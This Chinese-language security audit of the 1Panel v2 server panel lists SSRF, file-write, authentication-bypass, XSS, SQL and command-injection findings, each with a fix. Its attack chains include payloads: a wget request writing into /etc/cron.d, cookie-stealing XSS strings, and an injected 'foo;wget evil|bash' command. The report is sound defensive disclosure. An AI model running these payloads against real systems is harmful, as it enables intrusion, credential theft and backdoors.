1Panel安全审计报告

16次阅读
没有评论

1Panel v2 安全审计报告

审计对象:1Panel 开源服务器管理面板(分支 dev-v2)
审计时间:2026-08-11
审计范围:core/(Go 管理后端)、agent/(Go 代理服务)、frontend/src/(Vue 3 前端)
审计类别:反序列化、命令执行 / RCE、SQL 注入、未授权访问、越权 / IDOR、硬编码凭据、XSS、SSRF、路径穿越


一、审计结论摘要

  • 未发现"低权限远程攻击者 → 直接 RCE"的完整漏洞链。Go 侧整体对 exec.Command 采用参数数组安全模式;GORM 查询绝大多数参数化;会话、CSRF、登录锁均使用 crypto/rand,质量良好。
  • 最严重的问题是 SSRF 面过大 + 一处任意文件写入。整个代码库没有任何出站 SSRF 防护(InsecureSkipVerify 默认开启、无 IP 白名单、无 scheme 限制、无 DNS rebinding 防护),文件下载 Wget 可将响应体写入任意路径(agent 通常以 root 运行)。
  • 认证面存在一处明确的信任边界缺陷:LOCAL_REQUEST 本地令牌只校验"非空"不校验"值",任何能向面板发起环回连接的一方即可绕过全套认证栈。
  • 前端存在存储型 XSS:网站主域名在更新接口无校验入库,删除确认弹窗用 v-html 渲染。
  • 已核查的安全项(会话 gob 反序列化、Go 模板注入、Order 注入白名单、匿名路径清单、公开分享 token 防护等)均有正确防护,详见表三,防误报。

漏洞统计

级别 数量 说明
严重 Critical 0 无需认证/低权限直达系统权限的漏洞
高 High 4 需认证但可获取系统/数据/权限,或影响面大
中 Medium 12 有前置条件(如需认证、环回、被管数据库)但可利用
低 Low 14 条件苛刻或纯纵深防御缺陷

二、已确认漏洞明细

高危 (High)

H-1. 文件管理 Wget:任意 URL 下载 + 任意文件写入(SSRF + 后门落盘)

  • 位置:agent/app/api/v2/file.go:582 → agent/app/service/file.go:890-910 → agent/utils/files/file_op.go:466-510
  • 类别:SSRF + 任意文件写入(组合提权)
  • 代码:
    // file.go:890
    func (f *FileService) Wget(w request.FileWget) (string, error) {
        ...
        return key, fo.DownloadFileWithProcess(w.Url, filepath.Join(w.Path, w.Name), key, options)
    }
    // file_op.go:473,503
    request, err := http.NewRequest("GET", url, nil)   // url 无 scheme/host 校验
    ...
    out, err := os.Create(dst)                          // dst = w.Path + w.Name,任意路径
    
  • 攻击链:任意已登录用户 POST /api/v2/files/wget,body 为 {"url":"http://169.254.169.254/latest/meta-data/", "path":"/etc/cron.d/", "name":"xx", "ignoreCertificate":true} → 服务端发起出站请求,并将响应体写入任意路径。可用于:探测云元数据(获取 IAM 临时凭证)、扫描内网端口、把下载内容落盘为 cron 定时任务等后门(agent 通常以 root 运行)。
  • 附加问题:IgnoreCertificate 默认可开启 InsecureSkipVerify(file_op.go:448-451);http.Client 默认跟随 302 重定向,重定向目标无校验。
  • 修复:url.Parse 后仅允许 http/https;解析后对目标 IP 拦截私网/环回/链路本地/元数据地址(169.254.169.254);重定向目标同样校验;目标写入路径限定在白名单目录;取消默认 InsecureSkipVerify。

H-2. LOCAL_REQUEST 信任边界:本地令牌"非空即放行",可绕过全套认证栈

  • 位置:core/middleware/ip_limit.go:53-67(isLocalSyncRequest)
  • 类别:认证绕过 / 信任边界
  • 代码:
    func isLocalSyncRequest(reqPath, clientIP, token string) bool {
        ip := net.ParseIP(clientIP)
        if ip == nil || !ip.IsLoopback() {
            return false
        }
        switch reqPath {
        case "/api/v2/core/xpack/sync/ssl":
            return token != ""          // 只校验存在,不校验值!
        case "/api/v2/core/settings/ssl/reload":
            return token != ""
        ...
    }
    
  • 影响面:命中后 c.Set("LOCAL_REQUEST", true),绕过 SessionAuth、PasswordExpired、CSRF、BindDomain 全套中间件。受影响路由:
    • POST /api/v2/core/settings/ssl/reload(ro_setting.go:48-51,无 SessionAuth,直接可达)
    • POST /api/v2/core/xpack/sync/ssl(xpack 同步)
  • 攻击场景:GetRealClientIP 基于不可伪造的 RemoteAddr(真实回环源),远程直连无法伪造;但任何本机进程 / 本机低权用户 / 面板内任意 SSRF 原语(如 H-1 的 Wget 请求 http://127.0.0.1:9999/api/v2/core/settings/ssl/reload)只要附带 X-Panel-Local-Token: <任意非空值> 即可触发,造成未认证触发系统 SSL 重载(重新生成证书、重启面板 TLS,DoS 级)。
  • 修复:本地令牌必须用恒定时间比较校验真实值(与 agent 每日令牌一致),或改用 Unix socket 专属鉴权;杜绝"任意非空即放行"。

H-3. 备份云存储连通性/列举:用户直接提交 endpoint 即可触发出站连接(SSRF)

  • 位置:agent/app/service/backup.go:211-240(GetBuckets)、backup.go:136-171,348-381(CheckConn)→ agent/utils/cloud_storage/client/{s3,webdav,sftp}.go
  • 类别:SSRF(HTTP/TCP 双通道)
  • 代码:DTO Vars string 为自由 JSON(agent/app/dto/backup.go:42-49),endpoint/address/domain 均取自请求体,无需已存账号:
    client, err := cloud_storage.NewCloudStorageClient(req.Type, varMap)  // s3/minio/webdav/sftp/oss/cos/kodo
    return client.ListBuckets()
    
    • s3.go:30-74:minio.New(任意 endpoint)
    • webdav.go:30-54:fmt.Sprintf("%s:%s", address, port)
    • sftp.go:30-72:ssh.Dial(net.JoinHostPort(...)),HostKeyCallback 置 nil
  • 攻击场景:POST /api/v2/backups/buckets,vars={"endpoint":"http://127.0.0.1:6379"} 或 {"address":"169.254.169.254","port":"22"} → 服务器对该 host:port 发起连接。SFTP/WebDAV 变体可对任意主机端口做 TCP 探测,S3 变体响应可回显探测结果。
  • 修复:对 endpoint/address/domain 做 scheme 白名单 + IP 黑名单(私网/环回/链路本地/元数据),解析后校验目标地址。

H-4. 存储型 XSS:网站主域名 → 删除确认弹窗 v-html

  • 位置:
    • 入污点:agent/app/service/website.go:641 website.PrimaryDomain = req.PrimaryDomain(更新路径无任何校验;创建路径 website_utils.go:1246 有 NginxServerNamePattern 校验,更新路径绕过)
    • 渲染:frontend/src/views/website/website/delete/index.vue:35 <span v-html="deleteHelper">,:98 i18n.global.t('website.deleteConfirmHelper', [website.primaryDomain])
    • 模板:frontend/src/lang/modules/zh.ts:3362 deleteConfirmHelper: '删除操作无法回滚,请输入 <span style="color:red"> "{0}" </span> 删除'(含原生 HTML 且 {0} 直接插值)
  • 类别:存储型 XSS
  • 攻击链:已登录用户创建网站后 PUT 更新 primaryDomain 为 <img src=x onerror=alert(document.cookie)> → 任何人打开该网站的删除弹窗即触发,在面板域内执行 JS,可窃取会话 Cookie / CSRF token。
  • 修复:UpdateWebsite 复用 NginxServerNamePattern 校验主域名;删除弹窗移除 v-html 改为文本插值,或对插值内容做 HTML 转义。

中危 (Medium)

M-1. MySQL 本地客户端 SyncDB:数据库名直接拼进原生 SQL(唯一绕过 CheckIllegal 的注入点)

  • 位置:agent/utils/mysql/client/local.go:350
  • 类别:SQL 注入(原生 SQL 字符串拼接)
  • 代码:
    userLines, err := r.ExecSQLForRows(fmt.Sprintf("select user,host from mysql.db where db = '%s'", parts[0]), 300)
    

    parts[0] 来自 SELECT SCHEMA_NAME ... FROM information_schema.SCHEMATA 的服务器端真实 schema 名,未做转义。

  • 攻击链:在被管理的 MySQL 中预建一个名字含单引号的库(如反引号标识符 x' UNION SELECT user,password FROM mysql.user -- ,MySQL 允许),任意有该库写权限的人可建;随后管理员触发 POST /api/v2/databases/load(database_mysql.go:1026 LoadFromRemote → SyncDB),恶意库名被拼进 SQL,单引号逃逸后可执行任意 SQL。
  • 佐证:同类代码在 remote 客户端是正确的参数化(remote.go:416 where db = ?)。
  • 降级说明:注入目标是 1Panel 正在管理的那个 MySQL 实例,管理员本就可通过 SQL 控制台执行任意 SQL,故未跨越 1Panel 自身安全边界,定中危。
  • 修复:与 remote.go:416 对齐改为 Query("... where db = ?", parts[0])。

M-2. 被管理数据库 DDL 大量 fmt.Sprintf 拼接,依赖 CheckIllegal 黑名单兜底(纵深防御缺陷)

  • 位置:agent/utils/mysql/client/user_sql.go:42,49,59,94-96、agent/utils/mysql/client/{local,remote}.go(create/drop database、drop user、set password)、agent/utils/postgresql/client/{local,remote}.go(CREATE DATABASE "%s"、CREATE USER "%s" WITH PASSWORD '%s'、DROP USER "%s" 等)
  • 类别:SQL 注入(潜在)
  • 现状:所有 DTO 入口均被 agent/utils/cmd/cmd.go:18 CheckIllegal 拦截(封禁 & | ; $ ' \ ( ) " \n \r > <`,恰好覆盖逃逸所需字符)。
  • 残余风险:黑名单而非白名单/转义。任何新增或漏写 guard 的调用方,上述任一 fmt.Sprintf 立即变为可利用注入(M-1 正是活例子——local.go:350 无 guard)。属"定时炸弹"式问题。
  • 修复:在 SQL 构造器内部统一做转义('→''、反引号→\``、双引号→""),不再依赖 service 层散落的 CheckIllegal`。

M-3. AI 供应商 BaseURL 校验/发现:用户可控 baseURL 被服务端请求(SSRF)

  • 位置:agent/app/provider/verify.go:41-64、discover.go:11-20;入口 agent/app/api/v2/agents.go:592-602 /api/v2/ai/accounts/verify
  • 类别:SSRF(认证用户,任意角色)
  • 攻击场景:以"自定义"供应商类型提交 baseURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/,服务端 GET;verify 回显可辅助数据外带。
  • 修复:校验 BaseURL 仅 http/https、禁止私网/环回/元数据地址;方法白名单化。

M-4. MCP 服务器连接测试:BaseURL 构造任意端点(SSRF)

  • 位置:agent/app/service/mcp_server.go:338-407、:815-823
  • 类别:SSRF(认证用户,任意角色)
  • 攻击场景:提交 BaseURL=http://127.0.0.1:<服务>/...,服务端发起 GET/POST,可探测内网 HTTP 服务,POST 变体可向内网注入请求体。
  • 修复:同 M-3,统一出站校验。

M-5. 自定义 ACME CA 目录 URL(SSRF)

  • 位置:agent/app/service/website_acme_account.go:58-60(存储 CaDirURL)、agent/utils/ssl/acme.go:240-280、manual_client.go:82-86
  • 类别:SSRF(管理员配置;lego 会请求目录及其 newNonce/newOrder 等子资源,并跟随响应中的 Location/Link 头)
  • 攻击场景:SSL 证书申请时自定义 CA 目录填 http://169.254.169.254/,lego 服务端发起请求;响应驱动的 URL 可指向内网。
  • 修复:CaDirURL 仅允许 https 且非私网地址;禁止 ACME 响应头指向非目录同域 URL。

M-6. 自定义 DNS 供应商端点(DNS-01)(SSRF)

  • 位置:agent/utils/ssl/dns_provider.go:285-310(Ovh APIEndpoint、AcmeDNS APIBase、Technitium BaseURL)
  • 类别:SSRF(管理员,证书签发时 lego 对端点发起请求)
  • 修复:对 Endpoint/BaseURL 做 scheme + IP 校验。

M-7. 容器镜像仓库地址:Docker 引擎代连 + daemon.json 注入(SSRF)

  • 位置:agent/app/service/image_repo.go:82-112,228-251、docker.go:150-164
  • 类别:SSRF(间接,Docker 引擎发起连接;持久化后门)
  • 攻击场景:仓库地址填内网 registry,docker login/后续 pull 由 Docker 引擎连向该主机;insecure-registries 使后续镜像拉取指向任意主机(供应链/内网扫描)。校验仅 CheckIllegal,无 URL/IP 校验。
  • 修复:仓库地址解析后拦截私网/元数据地址;daemon.json 写入前校验。

M-8. 手动 DNS 解析服务器:UDP DNS SSRF

  • 位置:agent/app/service/website_ssl.go:180-186、agent/utils/ssl/manual_client.go:402-463(handleNameserver 追加 :53 后 UDP 查询)
  • 类别:SSRF(UDP/DNS);名称服务器校验仅 common.IsValidIP(语法校验,允许私网/环回/链路本地)。
  • 修复:拒绝私网/环回/链路本地/元数据地址作为 nameserver。

M-9. 远程节点系统服务管理:serviceName 未转义拼接进远程 shell(命令注入,条件性)

  • 位置:core/utils/ssh/ssh.go:131-142(Runf → CombinedOutput(fmt.Sprintf(shell, args...)))→ core/utils/controller/manager/common.go:22-27(LANGUAGE=en_US:en %s %s)→ systemd.go:63-64、controller.go:45-68
  • 类别:命令注入(远程 shell)
  • 攻击场景:多节点部署(xpack 付费版)时,宿主服务控制 API 传入的 serviceName 经 LoadServiceName 仅做小写/去后缀处理,未做 shell 转义。构造 serviceName="foo;wget evil|bash" 即可在被管理节点上执行任意命令。
  • 降级说明:OSS 构建下 NewWithClient 无调用者,不可达;需确认付费模块调用点与节点权限模型。
  • 修复:改为参数数组方式传 argv,LoadServiceName 处白名单校验 [a-zA-Z0-9_@.-]。

M-10. 监控图表 tooltip:进程名/用户名未转义进入 HTML(DOM XSS)

  • 位置:frontend/src/views/host/monitor/monitor/index.vue:668-684(CPU)、:711-732(内存);frontend/src/views/ai/gpu/history/index.vue:481-497
  • 类别:DOM XSS(ECharts tooltip 字符串 formatter 默认按 HTML 渲染)
  • 攻击场景:被监控主机上存在进程名/用户名为 <img src=x onerror=...> 的进程,管理员悬停图表即触发。单机需先有主机进程控制(自 XSS 链);多节点/集群场景下,被降级信任的节点 agent 上报的进程名可在主控面板 admin 会话中触发,是有意义场景。
  • 修复:tooltip formatter 内对进程名/用户做 HTML 转义,或改用 renderMode:'richText'。

M-11. 应用商店元数据链接:window.open(link) 无 scheme 校验(javascript: 可执行)

  • 位置:frontend/src/views/app-store/detail/index.vue:134-136、installed/upgrade/index.vue:168-170、frontend/src/utils/browser.ts:1-15
  • 类别:XSS(window.open('javascript:...') 在当前源执行)
  • 攻击场景:app-store 元数据(website/github/document 字段)来自 CDN 下发(经 HTTP + InsecureSkipVerify,见 L-2),CDN 被 MITM/攻陷或企业自定义源被污染时,注入 website: "javascript:alert(document.cookie)" → 点击链接即执行。注意 readMe 字段有 DOMPurify,但 URL 字段无任何净化。
  • 修复:window.open 前用 new URL(link) 校验 protocol ∈ {http:,https:},非法则不打开。

M-12. c.ClientIP() 信任 X-Forwarded-For:多个安全判定可被 XFF 伪造

  • 位置:全局(确认未调用 gin.SetTrustedProxies,gin 默认信任所有代理 → XFF 可伪造);具体用到 c.ClientIP() 的判定:core/app/api/v2/setting.go:352-353(ReloadSSL 回环校验)、agent/middleware/file_share_public.go:38(公开分享限速按 IP)、core/middleware/operation.go 与 core/app/api/v2/auth.go:537(登录/操作日志记录)
  • 类别:信任边界 / 日志伪造 / 限速绕过
  • 攻击场景:攻击者设 X-Forwarded-For: 127.0.0.1 可绕过 ReloadSSL 的回环校验(需会话);轮换 XFF 可重置公开文件分享的 IP 限速桶(分享密码爆破 4/5s);可向登录/操作日志写入任意伪 IP。
  • 缓解:登录暴力破解锁(IPTracker)使用不可伪造的 GetRealClientIP,GetAPIClientIP(API-Key IP 白名单)按 ApiTrustedProxies(默认仅 127.0.0.1/::1)校验,这两处不受影响。
  • 修复:安全判定一律改用 common.GetRealClientIP;启动时显式 SetTrustedProxies(真实代理列表)。

低危 (Low)

ID 位置 类别 说明
L-1 core/app/auth/api_auth.go:227-234 认证逻辑缺陷 ApiKeyValidityTime==0 时时间戳校验恒真;令牌 md5("1panel"+apiKey+timestamp) 可无限重放;令牌比较用 == 而非 hmac.Equal(时序侧信道)。修复:apiTime==0 拒绝放行、令牌比较改 hmac.Equal
L-2 agent/utils/req_helper/request.go、core/utils/req_helper/requset.go 全局出站无防护 两处 HTTP 助手均 InsecureSkipVerify:true、无 IP 白名单、无 scheme 限制,是多数 SSRF 漏洞的公共放大路径
L-3 core/cmd/server/conf/app.yaml:9-10 硬编码默认凭据 默认配置 admin/admin123 随二进制(go:embed)嵌入,mode: dev 下可登录。生产凭据由安装器 1pctl 生成,非生产可利用;但误用默认配置部署即得 admin 后门。修复:首次启动强制生成随机口令并引导修改
L-4 core/app/auth/auth.go:383 认证逻辑(时序) 密码过期重置用明文 == 比较旧密码(非恒定时间);且管理员密码以可逆 AES 加密存储、密钥 EncryptKey(每实例 crypto/rand,95 位,非硬编码)与密文同库存放,数据库被读即全部凭据可解。建议改 KDF(bcrypt/argon2)
L-5 core/app/api/v2/script_library.go:208-229 命令注入(远程) 脚本名 fileName 未转义拼进 touch %s && cat > %s 远程 shell;管理员创建脚本名含 ;/$(...) 时二次注入。低危:创建脚本库本身需管理员。修复:文件名单引号转义 + 字符白名单
L-6 agent/utils/files/tar.go:27-36、tar_gz.go:89-95、zip.go、snapshot_recover.go:118 归档解包路径穿越 系统 tar/unzip 直接 -C 解包用户可控归档,tar/zip slip 面;依赖系统 tar 默认行为,纵深防御缺口。修复:用 Go archive/tar 解析并校验 ../symlink
L-7 agent/app/service/file_share.go:64 弱随机(可忽略) charset[int(b[i])%len(charset)] 模偏差,10-16 位随机码无实际影响
L-8 agent/app/service/file_share.go 公开分享端点(/share/info、/share/check、/share/download,ro_file.go:77-83) 未授权访问(设计) 无会话,仅校验分享 token(token 为 crypto/rand 生成)+ ShouldDenySensitiveFileRead 过滤敏感文件;属设计用途,建议确认 token 熵与范围校验
L-9 前端 frontend/src/views/home/index.vue:838-843 XSS(低) 首页节点跳转 window.open(addr + entrance),addr 来自节点 agent 上报,无 scheme 校验;恶意/被攻陷节点可执行 javascript:
L-10 前端 frontend/src/views/home/index.vue:1123 XSS(低) 欢迎页 shadowRoot.innerHTML = res.data,数据来自本地 welcome/index.html;可被 H-1 任意文件写入链污染
L-11 前端 frontend/src/views/login/components/login-form.vue:790-797 XSS(低,纵深) OIDC 登录 window.location.assign(authorizationURL) 无前端协议校验(SAML 路径 utils/saml2.ts 有校验,此处缺失)
L-12 前端 frontend/src/utils/saml2.ts:12-23 开放重定向(低) 校验仅拒绝 javascript:/data:,//evil.com 解析为跨源后放行,可钓鱼
L-13 前端 frontend/src/views/app-store/installed/delete/index.vue:35 XSS(低) 同 H-4 模式,v-html 渲染 app.name(需应用名含 HTML)
L-14 agent/app/service/cronjob_helper.go:297-301 等 SSRF(低) WAF ip_group_url、应用商店元数据/回调 URL(app.go:302-305、app_utils.go:1913)等以 HTTP + InsecureSkipVerify 拉取远程内容,CDN/配置源被控即供应链风险

三、已核查判定为【安全】的项(防误报)

位置 说明 结论
core/server/server.go:47 gob.Register(psession.SessionUser{}) 仅注册、从不 gob.NewDecoder 解码用户可控数据;会话为进程内随机 cookie 映射 无反序列化 RCE
text/template / html/template core/agent 均未用模板渲染用户/DB 内容 无模板注入
agent/app/service/agents_hermes.go:113-142 yaml.Unmarshal 目标为类型化结构体与 map[string]interface{},yaml.v2 不实例化任意类型;文件 0600 非网络可控 最坏为解析 DoS,无 RCE
agent/utils/cmd/cmdx.go、logs.go、website.go ExecComposer 全部 exec.Command(name, arg...) 参数数组 + LookPath;CheckIllegal 封禁 &|;$'\()"\n\r><` 安全
core/app/repo/common.go:123、agent/app/repo/common.go:232 .Order(fmt.Sprintf(...)) 全局仅两处动态 Order,均经 OrderByValidationPattern = ^[a-zA-Z_][a-zA-Z0-9_]*$ 白名单,不匹配回退 created_at 不可注入
.Raw/.Exec(operation.go 日志审计) sql 来自编译期嵌入的 Swagger 文档,用户输入只进 ? 参数 静态数据,不可控
.Group/.Having/.Select/.Table 全库无非字面量调用 安全
core/middleware/session.go:61-70 isAnonymousAuthPath 8 个匿名路径(captcha/passkey/mfa/login/logout/setting/welcome)均合法;/auth/expired/reset、/passkey/register 等在 SessionAuth 之后 无覆盖缺口
会话 ID / CSRF token / passkey 会话 ID 均 crypto/rand;密码校验 hmac.Equal;登录暴力破解锁用不可伪造的 GetRealClientIP RNG/凭据存储质量良好
agent 认证边界 master 模式走 0600 Unix socket 由 core 反代;node 模式为 mTLS(RequireAndVerifyClientCert) 整体健壮
RegisterImages(router.go:114-139) path.Base + strings.HasPrefix 约束 安全

四、可疑 / 待确认项

  1. xpack 路径未认证代理(core/init/router/proxy.go:98、core/middleware/helper.go、password_expired.go 豁免清单):/api/v2/core/xpack/settings/search 等被 PasswordExpired 豁免且无会话代理到 agent。社区构建 agent 未注册 xpack 路由,实测 404;但企业/xpack 构建下 agent 一旦注册 /xpack/* 路由即自动成为未认证可达。建议在代理层对 xpack 路径强制会话/API 校验。
  2. OIDC 后端 authorizationURL 生成逻辑位于闭源 xpack 层(core/utils/xpack/providers/auth.go),未确认是否存在 redirect_uri 反射;若可被攻击者影响,L-11 升为可直接利用。
  3. 应用商店自定义源(syncCustomAppStore,xpack)是否允许普通用户添加任意仓库地址;若是,M-11 / L-14 触发条件从"CDN 攻陷"放宽为"普通用户自建仓库",严重性上升。
  4. agent/app/service/backup.go CheckBackup 对 S3 类账户的回显是否反射响应体内容(决定 H-3 数据外带可行度)。
  5. 多节点/集群(企业版):节点 agent 上报的主机名/面板地址字段是否在监控、首页、网站列表等多处拼接进 window.open/v-html(当前仅确认 M-10、L-9 两处)。
  6. agent/app/service/device_clean.go:1078 Where("task_recover_id != ", "") 缺少 ? 占位符 → 生成的 SQL 非法被 _ = 吞掉,recoverIDs 永远为空(功能性 bug,非注入;快照回收清理时可能误删仍被占用的恢复记录)。

五、修复优先级建议

第一优先级(共性根因,一举覆盖大部分漏洞)

  1. 建立全局"出站请求安全策略":在 core + agent 各建一个出站 HTTP 客户端(scheme 白名单 http/https + 解析后 IP 黑名单拦截私网/环回/链路本地/169.254.169.254 + 禁止跨主机重定向 + 取消默认 InsecureSkipVerify),替换 req_helper、file_op 及各云端/ACME/DNS/MCP/AI 客户端入口。覆盖 H-1、H-3、M-3~M-8、L-14。
  2. H-1 任意文件写入需同时收敛写入路径白名单(高危提权组合)。
  3. H-2 LOCAL_REQUEST:本地令牌改为真实值恒定时间校验。
  4. H-4 存储型 XSS:UpdateWebsite 复用 NginxServerNamePattern;删除弹窗去 v-html。

第二优先级

  1. M-1 SQL 注入:local.go:350 对齐 remote.go:416 参数化;SQL 转义收敛到 MySQL/PG client 构造器内部。
  2. M-9 远程节点命令注入:Runf/manager/common.go 的 SSH 字符串拼接改为参数数组(即使仅影响 xpack 也应在共享层修复)。
  3. M-12 XFF:安全判定统一 GetRealClientIP + 启动时 SetTrustedProxies。

第三优先级

  1. 前端:tooltip 字段转义(M-10);window.open 统一过 new URL 协议校验(M-11/L-9);为面板添加 CSP 与 X-Frame-Options 兜底。
  2. L-1 令牌:apiTime==0 拒绝放行、令牌比较 hmac.Equal。
  3. L-3 默认凭据:默认配置不内置可登录口令。
  4. 归档解包(L-6)改 Go 库解析并校验成员路径;脚本库文件名转义(L-5)。

附:审计方法

  • 四路并行代理按类别审计:RCE/反序列化、SQL 注入、认证/越权/硬编码/路径穿越、SSRF/XSS,均逐行阅读源码确认攻击链。
  • 关键发现经二次人工核实:ip_limit.go 本地令牌逻辑、local.go:350 SQL 拼接、website.go:641 域名更新无校验 + delete/index.vue v-html 渲染、file.go:890 + file_op.go:473/503 任意 URL 下载写盘、gin.SetTrustedProxies 未设置、conf/app.yaml 默认凭据、ro_setting.go:48-51 ssl/reload 无 SessionAuth。
  • 严重性按"攻击者所需权限 × 可利用性 × 影响范围"综合评定;所有"设计用途"路径(终端、脚本库、docker exec)均明确标注。
正文完
 0
评论(没有评论)